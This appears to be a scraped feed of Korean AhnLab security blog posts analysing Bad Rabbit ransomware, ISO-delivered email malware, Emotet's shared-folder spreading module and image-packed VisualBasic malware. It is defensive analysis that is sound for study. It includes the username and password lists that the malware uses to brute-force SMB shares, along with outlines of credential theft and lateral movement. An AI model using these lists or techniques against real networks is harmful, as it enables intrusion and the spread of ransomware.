.js.kdbx.key.mail.mdb.msg .nrg.odc.odf.odg.odi.odm.odp.ods.odt.ora.ost.ova.ovf.p12.p7b

.p7c.pdf.pem.pfx.php.pmf.png.ppt.pptx.ps1 .pst.pvi.py.pyc.pyw.qcow.qcow2.rar.rb.rtf.scm

.sln.sql.tar.tib.tif.tv.vb.vbox.vbs.vcb.vdi.vfd.vhd.vhdx .vmc.vmdk.vmsd.vmtm.vmx.vsdx.vsv

.work.xls.xlsx.xml.xvd.zip

 [표 1] – 암호화 대상 확장자

파일이 모두 암호화 된 후에 [그림 6]과 같이 Readme.txt라는 랜섬노트를 확인 할 수 있으며, 지불 페이지는 [그림 7]과 같다.

[그림 6] – Readme.txt 랜섬노트

[그림 7] – 지불 페이지

[계정정보 획득(Mimikatz)]

위의 방식 외에도 Diskcoder 랜섬웨어는 [랜덤숫자].tmp파일을 생성하여 원격지 접속을 위한 계정정보 획득을 시도한다.

생성 경로 및 파일명

C:\Windows\[랜덤숫자].tmp


[ADMIN$ SMB를 이용한 전파]

Diskcoder 랜섬웨어는 자신을 추가 전파하기 위해 ADMIN$ 공유폴더 및 SMB취약점을 이용한다.

SMB 취약점을 이용하기 위해 139 445 포트를 검색하며 IPC$ 연결을 위해 대입 할 특정 사용자 계정이름과 암호 리스트를 가지고있다. 연결이 수립되면 ADMIN$를 통해 파일복사를 진행한다.

아래는 악성코드가 대입하는 사용자 계정이름과 암호의 일부이다.


사용자 계정 이름

암호

administrator

netguest

superuser

nasadmin

nasuser

ftpadmin

ftpuser

backup

operator

other user

support

manager

rdpadmin

rdpuser

user-1

User1

Guest

Admin

Administrator

123321

zxc321

zxc123

qwerty123

qwerty

qwert

qwe321

qwe123

77777

55555

111111

password

test123

admin123Test123

Admin123

user123

User123

guest123

Guest123

 [표 2] – 취약한 계정 정보 리스트(일부) 


V3 제품군에서는 DiskCoder (혹은 Bad Rabbit) 랜섬웨어를 다음과 같은 진단명으로 탐지하고 있다.

 

<V3 제품군 진단명>

- Trojan/Win32.Diskcoder (2017.10.25.04)

- Trojan/Win64.WinCred (2017.10.25.04)

- Trojan/Win32.WinCred (2017.10.25.04)

Posted by chloechoi

안티바이러스 제품의 진단을 우회하기 위해 이메일에 첨부한 악성코드의 포맷을 실행파일에서 압축(zip)포맷으로 악성코드를 유포하던 제작자들이 파일 포맷을 ZIP에서 ISO 포맷으로 변경한 것을 확인하였다.

[그림-1] ISO 파일 포맷으로 악성코드를 유포하는 이메일

ISO파일은 국제 표준화 기구에서 제정한 CD-ROM 매체를 위한 파일 시스템으로 디렉터리로 파일을 관리 한다. 해당 구조는 표준화가 되어있어 운영 체제가 이에 대응하고 있으면 CD-ROM으로 인식하여 읽어낼 수 있다.

ZIP 포맷에서 ISO 포맷으로 변경된 배경은 Windows8 이전 버전에서는 별도의 프로그램이 설치되어있어야 CD-ROM으로 인식 후 실행 가능하였지만, Windows8 마일스톤 버전에서 추가된 기능에 의해 자동으로 ISO 이미지가 CD-ROM으로 마운트 되어 아래 그림과 같이 동작한다.

[그림-2] Windows8 이상 버전에서 자동으로 마운트 되어 실행되는 ISO 파일

별도의 설정 없이 사용자가 내부 파일을 실행할 수 있으며, 상기 그림과 같이 문서파일 아이콘으로 위장하고 있는 실행파일은 사용자가 주의하지 않는다면 오인하고 실행할 가능성이 크다.

ISO파일 Offset 0x8000에는 다음과 같이 ISO파일을 확인할 수 있는 문자열과 디렉터리 구조에 따라 내부 파일에 대한 정보를 갖고 있다.

[그림-3] ISO 내부 포함된 파일의 파일명

ISO파일은 표준화된 구조로 범용성을 위해 데이터를 압축하지 않고 기록하기 때문에 내부에 아래그림과 같이 실행파일을 포함하고 있다.

[그림-4] ISO파일 내부 압축 되지 않은 실행파일 데이터

V3 제품에서는 위와 같은 ISO 포맷으로 유포되는 실행파일을 다음과 같은 간단한 옵션 설정으로 검사가 가능하다

해당 옵션을 설정하는 방법은 제품별로 다음과 같다

 

V3 ES 9.0 설정 방법(제품별 설정 방법 동일)

환경설정  - PC 검사설정 정밀검사 탭 검사 대상 설정 클릭

[그림-5] V3 ES 9.0 설정 화면

 

예방

악성코드로부터의 완벽한 예방법은 없지만, 다음과 같은 예방법으로 감염 가능성을 최소화할 수는 있다.

1. 안티바이러스 제품의 엔진 패턴 버전을 최신으로 유지하고 주기적으로 시스템 검사를 실시한다.

2. Windows 운영체제를 포함하여 Adobe Flash, JAVA 등 주요 프로그램을 최신 버전으로 유지한다.

3. 신뢰되지 않는 사이트 및 이메일의 열람을 주의한다.

 

Posted by JYP

지난 2017 8 20일 안랩은 클라우드 기반의 악성코드 위협 분석 및 대응 시스템인 ASD(AhnLab Smart Defense)를 통해 이모텟(Emotet) 악성코드가 스팸 봇넷을 통해 유포되고 있음을 확인하였다.

 

이모텟 악성코드는 미국, 영국, 캐나다와 같이 해외에서 주로 발견되는 금융 정보 탈취형 악성코드이다. 이모텟은 악성 매크로가 포함된 워드문서가 첨부된 스팸 메일(MalSPAM)을 통해 유포되며, 유포되는 이모텟 악성코드의 주요 기능은 컴퓨터 호스트 이름 정보, 실행 중인 프로세스 리스트 등 사용자 정보를 유출하는 기능과 C&C 서버로부터 추가 악성 모듈을 다운로드하여 실행시키는 악성코드 로더의 역할을 수행한다.

 

분석 당시 C&C 서버가 차단되어 있어 추가 악성 모듈을 확보하기 어려운 상황이지만, C&C 서버로부터 다운로드 받는 모듈이라고 알려진 파일이 ASD 인프라에 확보되어 본 글에서는 해당 모듈에 대한 분석 내용을 공유하고자 한다. 참고로 C&C 서버로부터 다운로드 받는다고 알려진 추가 모듈에 대한 목록은 [-1]과 같다.

 

공유 폴더를 통한 악성코드 전파 모듈

스팸 메일 전송에 사용되는 모듈

브라우저에 인젝션되어 금융 정보 탈취에 사용되는 모듈

[-1] C&C 서버로부터 다운받는 추가 모듈 목록

 

확보된 모듈의 주요 행위는 네트워크 공유 폴더를 통해 이모텟 악성코드를 전파하는 기능을 수행한다.

 

네트워크 공유 폴더 목록 획득

공유 폴더 접속을 위한 brute force(이하 브루트-포스) 공격 시도

접속 성공 시 공유 폴더 경로에 이모텟 악성코드 자가 복제

이모텟 악성코드를 공격 대상 공유 폴더에 복사 및 원격 실행

[-2] 공유 폴더를 통한 악성코드 전파 모듈

 


 

네트워크 공유 폴더 목록 획득

 

WNetOpenEnumW, WNetEnumResource API 호출을 통해서 시스템 내 공유된 폴더 목록과 NetUserEnum API를 통해서 사용자 계정 리스트를 가져온다.

 


[그림-1] 네트워크 공유 폴더 목록 획득 코드 일부분 (1)

 

[그림-2] 네트워크 공유 폴더 목록 획득 코드 일부분 (2)

 

공유 폴더 접속을 위한 브루트-포스 공격 시도

 

NetUserEnum API를 호출하여 계정을 확보한 이후 해당 모듈은 네트워크 공유 폴더 접속을 위한 브루트-포스 공격을 시도한다.

 

먼저 WNetAddConnection2W API를 통해 네트워크 공유 폴더에 접근한다. 이때 접속을 시도하는데 이용되는 패스워드의 경우에는 난독화된 상태로 하드 코딩 되어 있는 1000개의 암호 목록 [-3]이 사용되며, 접속 계정은 네트워크 자원을 통해 얻은 ID 혹은 해당 계정으로 접근 실패 시 Administrator가 사용된다.

 

[그림-3] 공유 폴더 접속을 위한 브루트-포스 공격 시도

 

123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,696969,

shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321…,freepass

[-3] 1000개의 암호 목록 일부

 

참고로 [-3]에서 언급한 1000개의 암호 목록은 Github‘1000-most-common-passwords.txt라는 이름으로 업로드 되어있다.

(https://github.com/DavidWittman/wpxmlrpcbrute/blob/master/wordlists/1000-most-common-passwords.txt)

공유 폴더 사용자는 유추하기 쉬운 패스워드 사용을 사용하지 않아야 하며, 패스워드를 주기적으로 변경하여 공유 폴더를 통한 악성코드 감염에 주의해야 한다.

 

이모텟 악성코드를 공격 대상 공유 폴더에 복사 및 원격 실행

 

이모텟 악성코드는 공격 대상의 네트워크 공유 폴더에 접근이 되면 GetTickCount API를 통해 얻은 난수값을 생성할 서비스 이름 및 파일명으로 사용한다. 이후 CopyFileW, CreateServiceW API를 호출하여 네트워크로 연결된 사용자의 PC에 이모텟 악성코드를 실행한다.

 

[그림-4] 공격 대상의 공유 폴더에 이모텟 악성코드 복사 및 원격 실행 코드 일부분

 

현재 이모텟 악성코드에 대한 연구가 계속되고 있으며, 이모텟 악성코드에 대한 추가 분석 내용은 ASEC Report 3분기에서 공개될 예정이다.

(http://www.ahnlab.com/kr/site/securityinfo/asec/asecReportView.do?groupCode=VNI001)

 

또한 공유 폴더를 통한 이모텟 악성코드 전파에 사용되는 모듈 이외에 다른 모듈에 대한 내용도 확인이 되면 ASEC 블로그에 내용을 공개하도록 하겠다.

 

V3 제품군에서는 이모텟 악성코드와 관련된 모듈을 다음과 같은 진단명으로 탐지하고 있다.

<V3 제품군 진단명>

-       Trojan/Win32.Emotet (2017.09.20.00)

Posted by myunguk.han

지난 포스팅에 이어, 이번에는 또 다른 유형의 '랜덤픽셀 이미지' 를 포함하는 악성코드를 소개한다.

     [유형-1] 리소스 섹션에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드


 [2] VisualBasic Form 내부에 비트맵 이미지 형태의 인코딩 된 데이터를 포함하는 악성코드

두 번째로 살펴볼 유형의 악성코드는 VisualBasic으로 컴파일 된 파일의 특징을 갖는다. [그림 7]과 같이 [유형-2] 의 샘플들은 총 3개의 섹션을 포함하는데, [유형-1] 과는 다르게 랜덤픽셀 이미지가 리소스(.rsrc) 섹션이 아닌 텍스트(.text) 섹션에 존재한다. 이러한 차이가 발생하는 이유는 VisualBasic 컴파일러의 특징 때문인데, VisualBasic 파일들은 고유한 내부 구조를 유지하기 때문에 GUI 프로그램에 필요한 그림 데이터를 텍스트 섹션에 포함하고 있다.

[그림 7] 악성코드 유형-2의 섹션 구조

[유형-1] [유형-2] 사이에는 랜덤픽셀 이미지의 구성 상의 차이점도 있다. [유형-1]의 경우는 다양한 색상의 배경 그림이 있고 랜덤픽셀 영역이 이미지 중앙에 밀집된 반면, [유형-2] 의 경우에는 배경색이 대체로 검정 또는 흰색이며, 랜덤픽셀 영역 중간에 띠와 같은 무늬가 발견된다. 이러한 무늬가 생기는 원인은, 랜덤픽셀 중간에 검정 또는 흰색 점을 일정 크기만큼 추가하기 때문인데, 아마도 보안제품의 진단회피를 위한 목적으로 추정된다. [그림 8][유형-2]에 해당하는 3개 샘플 내부에 포함된 랜덤픽셀 이미지를 나열하였다.

[그림 8] 악성코드 유형-2 내부의 랜덤픽셀 이미지

동일한 [유형-2] 의 악성코드라도, 각 파일의 내부에 존재하는 랜덤픽셀 이미지의 크기가 매우 다양하다. 대체로 200kb – 300kb 사이의 이미지가 많이 발견 되었지만, 5MB에 달하는 이미지도 발견되었다. 또한 파일 내에서 랜덤픽셀 이미지가 등장하는 위치가 모두 다르며, 이미지의 정확한 위치를 파악하기 위해서는 VisualBasic 파일의 내부 데이터 구조에 따라 일부 파싱이 필요하다. VisualBasic 데이터 구조 중 내부의 Form 데이터를 확인할 경우 [그림 9]와 같이 랜덤픽셀 이미지가 참조되는 부분을 발견할 수 있다.

[그림 9] VisualBasic Form 내부의 랜덤픽셀 이미지 참조 부분

[유형-2] 샘플의 또 다른 특징은 다소 부자연스러운 버전 정보를 갖는다는 점이다. 아래 [-1] 3가지 샘플의 버전 정보를 표시하였다. 일부 랜덤하게 생성된 문자열도 발견되며, 잘 알려진 회사명이 보이기도 하지만, 전체적으로 일관된 내용이 아닌 다소 의미 없는 문자열의 나열을 확인할 수 있다. 보안 제품에서 실행파일의 버전 정보를 진단에 활용할 수 있기 때문에, 버전 정보를 비워두거나 일관된 내용을 사용하지 않고 이런 식의 예측 불가능한 문자열을 사용했을 것으로 예상된다.

 

샘플 2-1

샘플 2-2

샘플 2-3

Comments

hewlett-packard co.

 

YAHOO! inc

CompanyName

canon

free tIme

PANDora TV

FileDescription

#co_Name Inc.

Latta

 

FileVersion

1.09.0003

1.03.0009

8.08.0006

InternalName

Haveyour

KIlatos

NAtting

LegalCopyright

 

 

 

LegalTrademarks

 

 

 

OriginalFilename

Haveyour.exe

KIlatos.exe

NAtting.exe

ProductName

#co_Name Inc.

BeBiRd

WWw.biTDOwnLoader.COM

ProductVersion

1.09.0003

1.03.0009

8.08.0006

PrivateBuild

 

 

 

SpecialBuild

 

 

 

Language

1033

1033

1033

Codepage

1200

1200

1200

 

[유형-1] 의 샘플들과 마찬가지로 [유형-2]의 샘플 또한 최초 실행된 상태에서 바로 악성행위를 하지 않고, 내부에서 디코딩을 통해 실제 악의적인 행위를 수행하는 코드를 복원하여 사용한다. , 내부에 은닉된 악성코드가 무엇인지 파악하기 전에는 외형만으로는 실제의 악성행위를 예측할 수 없다. 예제로 사용한 [샘플 2-1] 의 경우 내부에 포함된 실제 악성코드는 Delphi로 제작된 DarkComet으로 알려진 백도어이다. [샘플 2-2]의 경우는 Cerber 랜섬웨어이며 [샘플 2-3] 도 내부에 백도어 형태의 악성코드를 포함한다.

AhnLab V3 에서는 [유형-2] 의 샘플을 다음과 같은 진단명으로 진단한다.

-       Win-Trojan/VBKrypt.RP

-       Win-Trojan/VBKrand.Gen


지금까지 두 번에 걸쳐 '랜덤픽셀 이미지' 를 포함하는 악성코드의 두 가지 유형에 대해 살펴보았다. 각 악성코드의 유형과 특징에 대한 더 상세한 정보는 <월간 安> 2017년 11월 호에 소개될 예정이다. 

[월간 안 바로가기]

Posted by disruption